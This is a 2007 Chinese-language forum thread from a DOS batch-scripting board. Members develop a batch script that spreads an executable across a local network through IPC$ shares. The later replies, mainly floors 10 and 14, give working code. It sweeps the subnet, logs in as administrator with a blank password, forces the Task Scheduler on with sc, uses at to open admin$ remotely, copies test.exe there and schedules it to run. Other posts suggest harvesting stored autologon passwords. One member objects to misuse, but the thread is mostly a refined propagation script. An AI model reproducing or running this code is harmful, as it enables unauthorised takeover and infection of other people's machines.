![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-04 21:51 |
共 48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 利用批处理在局域网内通过IPC$传播病毒的实例 |
| 可打印版本 2,401 / 15 |
| 第1楼 heicai | 发表于 2007-02-06 14:49 |
| 中级用户 发帖 156 积分 385 | |
|
利用批处理在局域网内通过IPC$传播病毒的实例 功能作下简单讲解:先列出本计算机的同一内网网段内的IP,分别对末尾1-254的IP进行PING测试,如果通,则复制文件到C:\windows\目录下并执行。不通则继续下一个IP,直到PING完254个IP。 在此特别对本论坛群内的“等待下一局”朋友作深刻感谢,一起帮我研究这段代码到午夜2点。 另外,发到论坛一方面与大家分享成果,一方面希望大家指点下。 如果有错误指正下,如果能完善的帮忙完善一下! [ Last edited by heicai on 2007-2-6 at 01:52 AM ] |
|
| 第2楼 heicai | 发表于 2007-02-07 01:03 |
| 中级用户 发帖 156 积分 385 | |
|
本人纯粹以学习的态度研究,并无恶意。请高人不要吝啬指点一下。
|
|
| 第3楼 vkill | 发表于 2007-02-07 01:16 |
| 金牌会员 发帖 1,744 积分 4,103 来自 甘肃.临泽 | |
|
你就知道密码是:"1212"???
|
|
| 第4楼 heicai | 发表于 2007-02-07 03:38 |
| 中级用户 发帖 156 积分 385 | |
|
密码是1212是随便设的,一般为空吧?觉得用字典之类太毫内存了。
|
|
| 第5楼 kcdsw | 发表于 2007-02-07 04:06 |
| 中级用户 发帖 179 积分 404 | |
|
貌似很强
不过我有个一疑问,start 可以让别的机器执行文件么? 怕是执行到自己机器上了吧 你可以试试猫猫烧香 |
|
| 第6楼 everest79 | 发表于 2007-02-07 09:22 |
| 金牌会员 发帖 1,127 积分 2,564 | |
|
你可以先分辨本机账户名称或在注册表查找是否有自动登录纪录,里边有当前账户的密码
若不为administator时可以增加administrator枚举并以空密码为凭据,不过SP2后安全策略不充许空密码进行远程访问 若像网吧因为账户都是相同的,一般默认共享与管理共享没有关闭的情况下,使用默认账户就可以连接 还有XP是自带有远程执行命令的工具,记不起名字了,你多查查 |
|
| 第7楼 lm959680 | 发表于 2007-02-07 23:12 |
| 新手上路 发帖 6 积分 14 | |
|
rundll32 netplwiz.dll,UsersRunDll
注册表的我删除了 不知道路径了 也不知道用上面的方法 在注册表里有吗? |
|
| 第8楼 heicai | 发表于 2007-02-08 12:49 |
| 中级用户 发帖 156 积分 385 | |
Originally posted by qingfushuan at 2007-2-7 10:32 AM: 帮我完善一下? |
|
| 第9楼 kernelv | 发表于 2007-02-08 15:31 |
| 初级用户 发帖 24 积分 47 | |
|
这漏洞过时了,研究点别的吧,正如6楼朋友说的 SP2后安全策略不充许空密码进行远程访问了。
还有 start 可以运行远程程序?开玩笑吧,如果对方 Task Scheduler 服务开着使用计划任务还差不多。 不好意思啊,我可能多少打击了你的热情,不过没其他恶意的。 |
|
| 第10楼 luobotou | 发表于 2007-03-08 00:24 |
| 新手上路 发帖 7 积分 16 来自 河南省南阳市 | |
|
对,如果对方 Task Scheduler 服务开着就好.而且你还要知道对方管理员密码.
net time \\%ip% /set /y set/a hh=%time:~0,2%+0 set/a mm=1%time:~3,2%-100+1 if %mm% geq 60 (set/a mm=!mm!-60 set/a hh=!hh!+1 if %hh% geq 24 set/a hh=!hh!-24 ) at \\%ip% !hh!:!mm! %windir%\test.exe 在对方计算机上下一分钟运行指它程序 |
|
| 第11楼 h4ck3r | 发表于 2007-03-08 02:01 |
| 新手上路 发帖 1 积分 2 | |
|
at命令在xp2能使用?
呵,我試過不行喔。 |
|
| 第12楼 scriptor | 发表于 2007-03-08 07:59 |
| 银牌会员 发帖 555 积分 1,187 | |
|
老掉牙的了
谁还用这个 sp2 已经相对以前安全多了 |
|
| 第13楼 scriptor | 发表于 2007-03-08 08:02 |
| 银牌会员 发帖 555 积分 1,187 | |
|
还不如搞一个木马放进去
自己写木马,要免杀 不过本人强烈反对搞破坏的 维护网络安全是我们每一个懂技术的人的责任 技术不是用来使坏的 尽管技术是把双刃剑 作为一个高科技人士 首先要加强自身的道德素质 只有这样 才不愧于这个称号 谢谢 |
|
| 第14楼 bjsh | 发表于 2007-03-08 10:25 |
| 银牌会员 发帖 621 积分 2,000 | |
|
lz的批处理有不少问题
首先ping %IP% -n 2 | findstr /i "time<" && 这一句就有可能漏掉不少; 有不少能ping上的没有"time<"而是"time=" 不如用errorlevel来判断 其次copy test.exe \\%IP%\admin$这一句一般机器不会开着admin$的; 所以我先测下此机器能否在ipc$方面加以利用 sc \\%ip% config Schedule start= auto ^| find "SUCCESS" 我用的这一句; 一方面测试此机器的利用价值(如果远程连服务都无法改动设置的话则此机器连at命令也会执行不了也会拒绝访问) 一般如果这一步通过了;可以说此机器就可以被完全控制; 另一方面改变Schedule的启动模式(当然大部分机器这个是已经开着的) net start Schedule 可以利用at命令 net time \\%ip% /set /y for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j set /a mm=%mm%+1 set tm=%hh%:0%mm% at \\%ip% %tm% net share admin$ 于是1分钟开启对方admin$ 于是下面就是复制文件和启动了.............. 下面是我修改后的.......... for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%a&& goto :gof) :gof set "ip=%ip: =%" for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1 call :bb %%b %%c %%d %ip1%) :bb set IP=%1.%2.%3.%ip1% ping %IP% -n 2 if errorlevel 0 if not errorlevel 1 net use \\%IP%\ipc$ "" /user:administrator if errorlevel 0 if not errorlevel 1 sc \\%ip% config Schedule start= auto ^| find "SUCCESS" if errorlevel 0 if not errorlevel 1 sc start Schedule net time \\%ip% /set /y for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j set /a mm=%mm%+1 set tm=%hh%:0%mm% at \\%ip% %tm% net share admin$ ...............从这往下的个人觉得有点多余不如自己估计时间 :loop if %time%==%tm%+1 (goto next) else (goto loop) :next copy test.exe \\%IP%\admin$ net time \\%ip% /set /y for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j set /a mm=%mm%+1 set tm=%hh%:0%mm% at \\%ip% %tm% c:\windows\system32\test.exe set /a ip1+=1 if %ip1% lss 255 goto :bb exit [ Last edited by bjsh on 2007-3-8 at 03:29 PM ] |
|
| 第15楼 heicai | 发表于 2007-05-28 17:39 |
| 中级用户 发帖 156 积分 385 | |
Originally posted by bjsh at 2007-3-8 10:25 AM: 发现代码在检测192.168.0.1就停住了。 |
|
| 1 2 下一页 |
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |